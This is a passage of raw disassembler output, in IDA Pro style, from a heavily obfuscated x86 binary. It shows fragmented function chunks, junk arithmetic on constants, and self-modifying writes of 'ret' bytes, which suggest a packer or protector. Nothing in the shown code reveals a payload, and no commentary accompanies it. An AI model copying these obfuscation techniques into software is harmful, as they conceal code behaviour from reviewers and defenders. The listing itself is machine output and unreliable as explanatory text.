EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749161 loc_74CA9C: ; CODE XREF: sub_749161-10FCj jmp nullsub_205 ; END OF FUNCTION CHUNK FOR sub_749161 ; --------------------------------------------------------------------------- jb loc_74D59C ; START OF FUNCTION CHUNK FOR sub_752737 loc_74CAA7: ; CODE XREF: sub_752737:loc_74869Cj add edx, 0B70F4154h mov [edx], eax xchg ecx, [esp+0] mov edx, ecx pop ecx lea eax, nullsub_18 mov byte ptr [eax], 0C3h jmp nullsub_18 ; END OF FUNCTION CHUNK FOR sub_752737 ; =============== S U B R O U T I N E ======================================= sub_74CAC3 proc near ; CODE XREF: _0z4jwtox:0074D068j ; sub_74D9D0+1p ; FUNCTION CHUNK AT 0074EDE7 SIZE 00000008 BYTES xchg esi, [esp+0] pop esi push 0C0C04E00h pop edx sub edx, 5A130053h add edx, 0D00BC7C3h sub edx, 0D305C970h add edx, 9C8EA51Ch jmp loc_74EDE7 sub_74CAC3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747AEC loc_74CAEA: ; CODE XREF: sub_747AEC:loc_756766j push 1E9CC146h pop esi and esi, 0CBC651ECh add esi, 0F5F0A235h xchg esi, [esp+0] jmp sub_750C4E ; END OF FUNCTION CHUNK FOR sub_747AEC ; --------------------------------------------------------------------------- loc_74CB04: ; CODE XREF: _0z4jwtox:00754299j jbe loc_74D59E sub edx, ebp ; =============== S U B R O U T I N E ======================================= sub_74CB0C proc near ; CODE XREF: sub_7561F2+10p xchg ebx, [esp+0] pop ebx mov byte ptr [eax], 0C3h jmp sub_748BB8 sub_74CB0C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748BB8 loc_74CB18: ; CODE XREF: sub_748BB8:loc_7460D5j mov eax, [esp-4+arg_0] push edi jmp loc_74E288 ; END OF FUNCTION CHUNK FOR sub_748BB8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_74CB21: ; CODE XREF: sub_747C22:loc_7475F0j xor esi, 0E99E3C70h rol esi, 7 and esi, 0FEA3C1D6h push offset sub_74B042 jmp nullsub_160 ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C0C loc_74CB3A: ; CODE XREF: sub_747C0C+10j pop ecx or edi, 4CB442C8h and edi, 3662EBB4h rol edi, 0Ch add edi, 0F3B97286h jmp loc_74E233 ; END OF FUNCTION CHUNK FOR sub_747C0C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_754FC6 loc_74CB55: ; CODE XREF: sub_754FC6+16j cmp ds:dword_7575C8, 0 jnz loc_756B1B lea edx, [ebp+var_14] mov eax, offset dword_7575CC call sub_7475CB loc_74CB6F: ; CODE XREF: sub_74673E+CD17j jmp loc_74F8F2 ; END OF FUNCTION CHUNK FOR sub_754FC6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74B01A loc_74CB74: ; CODE XREF: sub_74B01A+27A9j jmp sub_7451D9 ; END OF FUNCTION CHUNK FOR sub_74B01A ; =============== S U B R O U T I N E ======================================= sub_74CB79 proc near ; CODE XREF: _0z4jwtox:loc_7539CFj ; DATA XREF: sub_74A7D8:loc_7539C5o ; FUNCTION CHUNK AT 00753845 SIZE 00000010 BYTES xchg ebx, [esp+0] mov ecx, ebx pop ebx call sub_74DAA9 loc_74CB84: ; CODE XREF: sub_7543C5:loc_75528Cj jmp loc_753845 sub_74CB79 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_74CB89: ; CODE XREF: _0z4jwtox:00752CE1j jmp loc_756207 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C874 loc_74CB8E: ; CODE XREF: sub_74C874-324Bj jmp sub_74C874 ; END OF FUNCTION CHUNK FOR sub_74C874 ; --------------------------------------------------------------------------- mov edi, 6DF60E5h shr ebp, 1Dh jmp sub_749B76 ; --------------------------------------------------------------------------- loc_74CBA0: ; DATA XREF: sub_74B1F9+8DC1o push 4557C2CEh pop ecx or ecx, 73F986D1h and ecx, 0CD2FC1ACh jmp loc_74C0D2 ; =============== S U B R O U T I N E ======================================= sub_74CBB7 proc near ; CODE XREF: sub_7485D5p ; _0z4jwtox:007506ABj ... arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 007452B8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074D622 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074D853 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0074F56C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007506B0 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00750C49 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075158B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0075259E SIZE 00000014 BYTES ; FUNCTION CHUNK AT 007542A5 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 007573E6 SIZE 00000005 BYTES jnz loc_7506B0 pop edx mov eax, [esp-4+arg_0] push edi mov edi, edx jmp loc_74D853 sub_74CBB7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- locret_74CBC9: ; CODE XREF: _0z4jwtox:loc_74B6CDj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F78B loc_74CBCA: ; CODE XREF: sub_74F78B-97B1j jmp loc_74D91B ; END OF FUNCTION CHUNK FOR sub_74F78B ; =============== S U B R O U T I N E ======================================= sub_74CBCF proc near ; CODE XREF: sub_7543C5:loc_74EBE2p ; _0z4jwtox:00756B6Bj var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00745172 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00745D39 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00745F9C SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00746018 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 007466FB SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00746EC7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00748282 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00749A1B SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00749D03 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074A3E0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074B46B SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0074BF52 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0074D651 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0074D6CF SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0074E1A8 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0074EB91 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0074ED3A SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0074F970 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 007503BC SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00750AA2 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00750EDE SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00751473 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 007520EC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00752755 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075404F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00754A85 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00754BFF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075500E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007557B1 SIZE 00000005 BYTES xchg ebx, [esp+4+var_4] loc_74CBD2: ; CODE XREF: _0z4jwtox:loc_74F3FCj ; _0z4jwtox:loc_7525DCj pop ebx mov eax, ds:dword_756488 or eax, eax jnz loc_750EDE jmp loc_74A3E0 sub_74CBCF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_74CBE6 proc near ; CODE XREF: _0z4jwtox:0074A437j ; sub_74A445+Cp ; FUNCTION CHUNK AT 00746A17 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00748EC3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075376F SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0075723B SIZE 00000016 BYTES xchg eax, [esp+0] pop eax mov [ebp-8], eax mov eax, [ebp+8] test byte ptr [eax-7], 10h jz loc_75723B inc dword ptr [ebp-8] loc_74CBFD: ; CODE XREF: sub_74CBE6+6B8Dj ; sub_74CBE6+A666j mov eax, [ebp-8] jmp loc_748EC3 sub_74CBE6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_74CC05 proc near ; DATA XREF: sub_74504D+B0B2o call sub_75375E call sub_745C5B sub_74CC05 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_74B719 loc_74CC0F: ; CODE XREF: sub_74B719+272Cj jmp loc_746209 ; END OF FUNCTION CHUNK FOR sub_74B719 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C68A loc_74CC14: ; CODE XREF: sub_74C68A+8j jmp loc_74E1BC ; END OF FUNCTION CHUNK FOR sub_74C68A ; --------------------------------------------------------------------------- loc_74CC19: ; CODE XREF: _0z4jwtox:00746BDBj jmp loc_748DE6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7475DD loc_74CC1E: ; CODE XREF: sub_7475DD+F553j call sub_74F13C loc_74CC23: ; DATA XREF: sub_7473D1:loc_74F9C9o mov eax, [ebp-10h] push ebx push 0BE5AB433h pop ebx and ebx, 5B4B5B76h sub ebx, 9ECFD978h ; END OF FUNCTION CHUNK FOR sub_7475DD ; START OF FUNCTION CHUNK FOR sub_74BD6F loc_74CC39: ; CODE XREF: sub_74BD6F:loc_7483FCj cmp ebx, 8184EAE7h jmp loc_74A383 ; END OF FUNCTION CHUNK FOR sub_74BD6F ; --------------------------------------------------------------------------- loc_74CC44: ; CODE XREF: _0z4jwtox:loc_753620j popf jmp loc_746C1B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_106. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7491FD loc_74CC4B: ; CODE XREF: sub_7491FD:loc_7575E3j pop ecx xor ecx, 1E2E27F8h or ecx, 78D74A7Bh add ecx, 59DCDA4h xchg ecx, [esp+4+var_4] jmp sub_74E0EB ; END OF FUNCTION CHUNK FOR sub_7491FD ; --------------------------------------------------------------------------- loc_74CC66: ; CODE XREF: _0z4jwtox:loc_753371j sub esi, 0E8C6CF9Fh add esi, 7F955134h xchg esi, [esp] jmp loc_754A06 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_71. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750243 loc_74CC7B: ; CODE XREF: sub_750243+6D71j jmp loc_74C829 ; END OF FUNCTION CHUNK FOR sub_750243 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7465D2 loc_74CC80: ; CODE XREF: sub_7465D2+17j xor edi, 60A900A5h jns loc_756DB6 shl edx, 1 pop edi jmp loc_756DB6 ; END OF FUNCTION CHUNK FOR sub_7465D2 ; --------------------------------------------------------------------------- loc_74CC94: ; CODE XREF: _0z4jwtox:0074F42Fj xor ecx, 5D1284D4h add ecx, 5D58D2A9h push offset sub_754E41 jmp loc_74B906 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C39 loc_74CCAA: ; CODE XREF: sub_747C39+FB3Aj sub edx, esi jmp loc_749D9B ; END OF FUNCTION CHUNK FOR sub_747C39 ; =============== S U B R O U T I N E ======================================= sub_74CCB1 proc near ; CODE XREF: _0z4jwtox:0074D3B3j ; _0z4jwtox:00751064p ; FUNCTION CHUNK AT 0074FA31 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 007531D2 SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx mov ds:dword_41F0FC, eax lea eax, nullsub_273 jmp loc_7531D2 sub_74CCB1 endp ; sp-analysis failed ; --------------------------------------------------------------------------- push offset sub_753F8B jmp loc_7546B4 ; --------------------------------------------------------------------------- or edi, ebp jmp loc_74E52F ; --------------------------------------------------------------------------- cdq jmp sub_745620 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A96E loc_74CCDD: ; CODE XREF: sub_74A96E:loc_74747Dj push 0BC79CB55h pop edi sub edi, 40F891B8h test edi, 400h jmp loc_75016C ; END OF FUNCTION CHUNK FOR sub_74A96E ; =============== S U B R O U T I N E ======================================= sub_74CCF4 proc near ; DATA XREF: sub_75143A-8698o ; FUNCTION CHUNK AT 007551BE SIZE 00000005 BYTES push 9811C21Fh pop ebx add ebx, 54937DE6h sub ebx, 8E2CFEC9h add ebx, 0A1FCB24Ch mov [ebx], eax xchg edx, [esp+0] push offset loc_7484BE jmp loc_7551BE sub_74CCF4 endp ; --------------------------------------------------------------------------- loc_74CD1B: ; CODE XREF: _0z4jwtox:loc_74A0D4j pop ebx and ebx, 41C9FD4h xor ebx, 14C332Bh or ebx, 283847B7h add ebx, 0D2F7BC95h mov [ebx], eax pop ebx jmp loc_74F015 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_84. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jo loc_74D73A jmp loc_74A718 ; --------------------------------------------------------------------------- cdq and ebx, esi jmp sub_745480 ; --------------------------------------------------------------------------- loc_74CD50: ; CODE XREF: _0z4jwtox:loc_7486ACj pop edi jno loc_750572 mov eax, [esp] push eax mov eax, edx xchg eax, [esp] jmp loc_7470AA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74673E loc_74CD65: ; CODE XREF: sub_74673E+6197j or esi, ecx cmp edx, 86C0D545h jmp loc_750A77 ; END OF FUNCTION CHUNK FOR sub_74673E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75609F loc_74CD72: ; CODE XREF: sub_75609F-BD0Cj ; sub_75609F:loc_74E57Aj add ebx, 0D2AF7A11h xchg ebx, [esp+0] jmp loc_748F5B ; END OF FUNCTION CHUNK FOR sub_75609F ; =============== S U B R O U T I N E ======================================= sub_74CD80 proc near ; CODE XREF: _0z4jwtox:007473B1j ; sub_747C22+654p ; FUNCTION CHUNK AT 007452E1 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00745EB5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00746E6B SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00749034 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00749A4C SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0074C0F7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074D27E SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00752FFE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00754F07 SIZE 0000000B BYTES xchg edi, [esp+0] pop edi push 0FBC6A22Ch pop edi jmp loc_74C0F7 sub_74CD80 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748B44 loc_74CD8F: ; CODE XREF: sub_748B44:loc_752183j xor edx, 0B9959A52h add edx, ebp add edx, 0A6206DA6h mov edx, [edx] imul byte ptr [edx] jmp loc_754D04 ; END OF FUNCTION CHUNK FOR sub_748B44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748773 loc_74CDA6: ; CODE XREF: sub_748773:loc_745807j popf mov eax, offset dword_74C2F8 push esi push 0D30D0C65h jmp loc_74F802 ; END OF FUNCTION CHUNK FOR sub_748773 ; --------------------------------------------------------------------------- loc_74CDB7: ; CODE XREF: _0z4jwtox:00750555j ja loc_7459A3 ; START OF FUNCTION CHUNK FOR sub_7463AE loc_74CDBD: ; CODE XREF: _0z4jwtox:loc_750544j ; sub_7463AE:loc_750C3Bj xor eax, 0E06F1081h call sub_75427C loc_74CDC8: ; CODE XREF: sub_7535F0-F6Fj jmp loc_7515BA ; END OF FUNCTION CHUNK FOR sub_7463AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748DCB loc_74CDCD: ; CODE XREF: sub_748DCB+16j jmp loc_74A5B6 ; END OF FUNCTION CHUNK FOR sub_748DCB ; --------------------------------------------------------------------------- loc_74CDD2: ; CODE XREF: _0z4jwtox:loc_746002j ; _0z4jwtox:00748569j push offset loc_75082B jmp locret_745838 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_754C68 loc_74CDDC: ; CODE XREF: sub_754C68-2BC4j jz loc_74E5BE loc_74CDE2: ; CODE XREF: _0z4jwtox:00752A94j jmp loc_753429 ; END OF FUNCTION CHUNK FOR sub_754C68 ; --------------------------------------------------------------------------- sub ebp, 8A7EEECFh ja loc_748154 jmp loc_74E5BE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746CC3 loc_74CDF8: ; CODE XREF: sub_746CC3+15j adc edx, [esp+arg_0] add esp, 8 mov eax, [eax] push offset loc_756E88 jmp loc_74892E ; END OF FUNCTION CHUNK FOR sub_746CC3 ; --------------------------------------------------------------------------- loc_74CE0B: ; CODE XREF: _0z4jwtox:loc_74E3F2j push 85FC18A9h mov edi, 0DC3BEE77h jmp loc_75149E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_753F8B loc_74CE1A: ; CODE XREF: sub_753F8B+1EE2j adc ebp, 9C1EA46Eh loc_74CE20: ; CODE XREF: sub_753F8B:loc_755E64j xor eax, 2CE56360h push offset sub_7529BD jmp loc_7543E8 ; END OF FUNCTION CHUNK FOR sub_753F8B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75275A loc_74CE30: ; CODE XREF: sub_75275A-D4CDj ; sub_75275A:loc_746A67j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_755EF0 jmp loc_749AE1 ; END OF FUNCTION CHUNK FOR sub_75275A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745243 loc_74CE41: ; CODE XREF: sub_745243+10j sub eax, 20FBD054h or eax, 0B66827EAh rol eax, 1Bh or eax, 8E8E1983h add eax, 20B61026h xchg eax, [esp+8+var_8] jmp sub_747892 ; END OF FUNCTION CHUNK FOR sub_745243 ; --------------------------------------------------------------------------- loc_74CE64: ; CODE XREF: _0z4jwtox:00754D6Cj add esi, 7AF756C3h xchg esi, [esp] loc_74CE6D: ; CODE XREF: _0z4jwtox:loc_74F1F8j jmp sub_746E93 ; --------------------------------------------------------------------------- loc_74CE72: ; DATA XREF: sub_749161-1101o push edx push eax push offset sub_753D5F jmp loc_74831B ; --------------------------------------------------------------------------- loc_74CE7E: ; CODE XREF: _0z4jwtox:0075765Ej pop edx rol edx, 15h or edx, 959A6F5Ch add edx, 62D9A626h xchg edx, [esp] jmp sub_746E93 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752D11 loc_74CE96: ; CODE XREF: sub_752D11-D730j xor edx, edx push eax mov eax, edx xchg eax, [esp+4+var_4] jmp loc_756AB5 ; END OF FUNCTION CHUNK FOR sub_752D11 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BA92 loc_74CEA3: ; CODE XREF: sub_74BA92:loc_747CFAj jl loc_7469E5 sbb esi, 54E73C2Dh sbb eax, esi jmp loc_7469E5 ; END OF FUNCTION CHUNK FOR sub_74BA92 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C1D8 loc_74CEB6: ; CODE XREF: sub_74C1D8:loc_747127j xchg esi, [esp-8+arg_4] jmp sub_750243 ; END OF FUNCTION CHUNK FOR sub_74C1D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F73B loc_74CEBE: ; CODE XREF: sub_74F73B:loc_752EE3j call sub_755789 loc_74CEC3: ; CODE XREF: _0z4jwtox:007463FBj jmp loc_756393 ; END OF FUNCTION CHUNK FOR sub_74F73B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75532F loc_74CEC8: ; CODE XREF: sub_75532F:loc_745AF5j jmp loc_7562E5 ; END OF FUNCTION CHUNK FOR sub_75532F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_756826 loc_74CECD: ; CODE XREF: sub_756826:loc_753E40j jz loc_7540A9 jmp loc_75700F ; END OF FUNCTION CHUNK FOR sub_756826 ; --------------------------------------------------------------------------- loc_74CED8: ; CODE XREF: _0z4jwtox:0074E51Aj push edx mov edx, ecx xchg edx, [esp] mov ecx, edx xchg ecx, [esp] push edi push 38482DFEh pop edi jmp loc_745780 ; =============== S U B R O U T I N E ======================================= sub_74CEEF proc near ; CODE XREF: _0z4jwtox:0074F23Fp ; _0z4jwtox:0074FB4Fj ; FUNCTION CHUNK AT 00754886 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax call sub_746E93 mov ds:dword_41F148, eax lea eax, nullsub_279 mov byte ptr [eax], 0C3h jmp loc_754886 sub_74CEEF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_74CF0C proc near ; CODE XREF: sub_41E42Ej ; sub_74CF0C:loc_755F2Dj ; DATA XREF: ... ; FUNCTION CHUNK AT 00755F2D SIZE 00000006 BYTES call sub_755F42 jmp loc_755F2D sub_74CF0C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A7D8 loc_74CF16: ; CODE XREF: sub_74A7D8+11j jle loc_7560A8 pushf jb loc_751FEA pop edx jmp loc_74FCF3 ; END OF FUNCTION CHUNK FOR sub_74A7D8 ; --------------------------------------------------------------------------- loc_74CF29: ; CODE XREF: _0z4jwtox:007530EBj jle loc_74C2E9 xor ebp, 0C04D5151h ; =============== S U B R O U T I N E ======================================= sub_74CF35 proc near ; CODE XREF: _0z4jwtox:0075624Ap ; FUNCTION CHUNK AT 00746183 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00747321 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00747CD0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00747F5D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00748963 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00748C22 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0074AAAF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074AEF7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00750AB3 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00752052 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00753CB8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00754B54 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00755324 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00755DB7 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 007576BD SIZE 0000001F BYTES xchg ecx, [esp+0] pop ecx mov al, [eax] jmp loc_752052 sub_74CF35 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_74CF40: ; CODE XREF: _0z4jwtox:loc_75230Ej jz loc_755454 jmp loc_74A817 ; --------------------------------------------------------------------------- db 0Fh dd 29A889h, 378A0F00h, 0C1000073h db 0EAh, 7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E95A loc_74CF5A: ; CODE XREF: sub_74E95A+16j add ebx, 0A2E40E59h mov [ebx], eax pop ebx jmp loc_752ADF ; END OF FUNCTION CHUNK FOR sub_74E95A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A0BD loc_74CF68: ; CODE XREF: sub_74A0BD+Cj pop ecx lea eax, loc_753D8D mov byte ptr [eax], 0C3h jmp loc_74E841 ; END OF FUNCTION CHUNK FOR sub_74A0BD ; =============== S U B R O U T I N E ======================================= sub_74CF77 proc near ; CODE XREF: sub_41DDE5+173p ; sub_74CF77+5j ; DATA XREF: ... call sub_74CF82 jmp ds:off_41F004 sub_74CF77 endp ; =============== S U B R O U T I N E ======================================= sub_74CF82 proc near ; CODE XREF: sub_749FD7:loc_74A0D9j ; sub_74CF77p ... arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00749385 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00749596 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0074BF14 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0074EA71 SIZE 0000000E BYTES js loc_74EA71 pop edx mov eax, [esp+0] jmp sub_751307 sub_74CF82 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_74CF91 proc near ; DATA XREF: _0z4jwtox:0074BC62o push ecx call sub_74C9CF sub_74CF91 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_755148 loc_74CF97: ; CODE XREF: sub_755148+992j jmp sub_753D0E ; END OF FUNCTION CHUNK FOR sub_755148 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_74CF9C: ; CODE XREF: sub_747C22+D8CBj jmp loc_748096 ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- mov ds:off_41F08C, eax lea eax, loc_74EB33 push offset sub_74763A jmp locret_74D83D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_74CFB7: ; CODE XREF: sub_747C22:loc_74F088j sub eax, 6A7821EAh rol eax, 1Ch add eax, 0EB8C2ECBh add eax, ebp add eax, 4414184h mov eax, [eax] jmp loc_74F683 ; END OF FUNCTION CHUNK FOR sub_747C22 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_232. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748FA4 loc_74CFD6: ; CODE XREF: sub_748FA4:loc_750C41j mov eax, 24DE0EA8h push edx push 0E5CD6097h xchg edi, [esp+4+var_4] mov edx, edi pop edi or edx, 33557F2Bh jmp loc_75542F ; END OF FUNCTION CHUNK FOR sub_748FA4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_756974 loc_74CFF2: ; CODE XREF: sub_756974+Aj push edx call sub_7490F6 mov eax, 147A4491h call sub_74E11E ; END OF FUNCTION CHUNK FOR sub_756974 ; START OF FUNCTION CHUNK FOR sub_74D1F3 loc_74D002: ; CODE XREF: sub_74D1F3+7206j jmp loc_7565FF ; END OF FUNCTION CHUNK FOR sub_74D1F3 ; --------------------------------------------------------------------------- loc_74D007: ; CODE XREF: _0z4jwtox:00745B4Fj jmp loc_756241 ; --------------------------------------------------------------------------- locret_74D00C: ; CODE XREF: _0z4jwtox:00750591j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747AEC loc_74D00D: ; CODE XREF: sub_747AEC:loc_75767Dj jmp nullsub_253 ; END OF FUNCTION CHUNK FOR sub_747AEC ; --------------------------------------------------------------------------- loc_74D012: ; CODE XREF: _0z4jwtox:0075328Cj jmp sub_75100C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74FE55 loc_74D017: ; CODE XREF: sub_74FE55-E4Fj jmp nullsub_127 ; END OF FUNCTION CHUNK FOR sub_74FE55 ; --------------------------------------------------------------------------- loc_74D01C: ; CODE XREF: _0z4jwtox:00746AAFj jnz loc_753328 jnp loc_75486E jmp loc_753327 ; =============== S U B R O U T I N E ======================================= sub_74D02D proc near ; CODE XREF: sub_749010-326Cj ; sub_74F615-318Bp xchg eax, [esp+0] pop eax xor eax, 893DFFFFh call sub_746E93 mov ds:off_41F140, eax lea eax, sub_749115 mov byte ptr [eax], 0C3h jmp sub_749115 sub_74D02D endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_74D050: ; CODE XREF: _0z4jwtox:00755E18j jnz loc_74BF78 xchg ebp, [ebx] and ebx, 0DCBFDA7Bh rol edx, 1 jmp loc_74BF77 ; --------------------------------------------------------------------------- shr edx, 12h jmp sub_74CAC3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BFE0 loc_74D06D: ; CODE XREF: sub_74BFE0:loc_74EFDAj ; sub_74BFE0+8D4Cj mov eax, [ebp+var_4] cmp byte ptr [eax], 0F1h jnz loc_750C46 jmp loc_75220D ; END OF FUNCTION CHUNK FOR sub_74BFE0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755C10 loc_74D07E: ; CODE XREF: sub_755C10-6C56j pop edx add edx, 784A0C4Fh and edx, 1B1F326Eh push offset sub_7559D8 jmp nullsub_196 ; END OF FUNCTION CHUNK FOR sub_755C10 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D23E loc_74D095: ; CODE XREF: sub_74D23E-629Cj and eax, edx mov eax, [ebp+0] loc_74D09A: ; CODE XREF: sub_74D23E:loc_7540EBj mov eax, [esp+0] push ecx mov ecx, eax xchg ecx, [esp+0] push ebx jmp loc_750680 ; END OF FUNCTION CHUNK FOR sub_74D23E ; =============== S U B R O U T I N E ======================================= sub_74D0A9 proc near ; DATA XREF: sub_749B76+D6B9o ; FUNCTION CHUNK AT 0074C3AE SIZE 00000005 BYTES cdq jmp loc_74C3AE sub_74D0A9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749B76 loc_74D0AF: ; CODE XREF: sub_749B76:loc_74A596j mov eax, [ebp-4] call sub_746B7C loc_74D0B7: ; CODE XREF: sub_747AEC+1DE5j jmp nullsub_57 ; END OF FUNCTION CHUNK FOR sub_749B76 ; 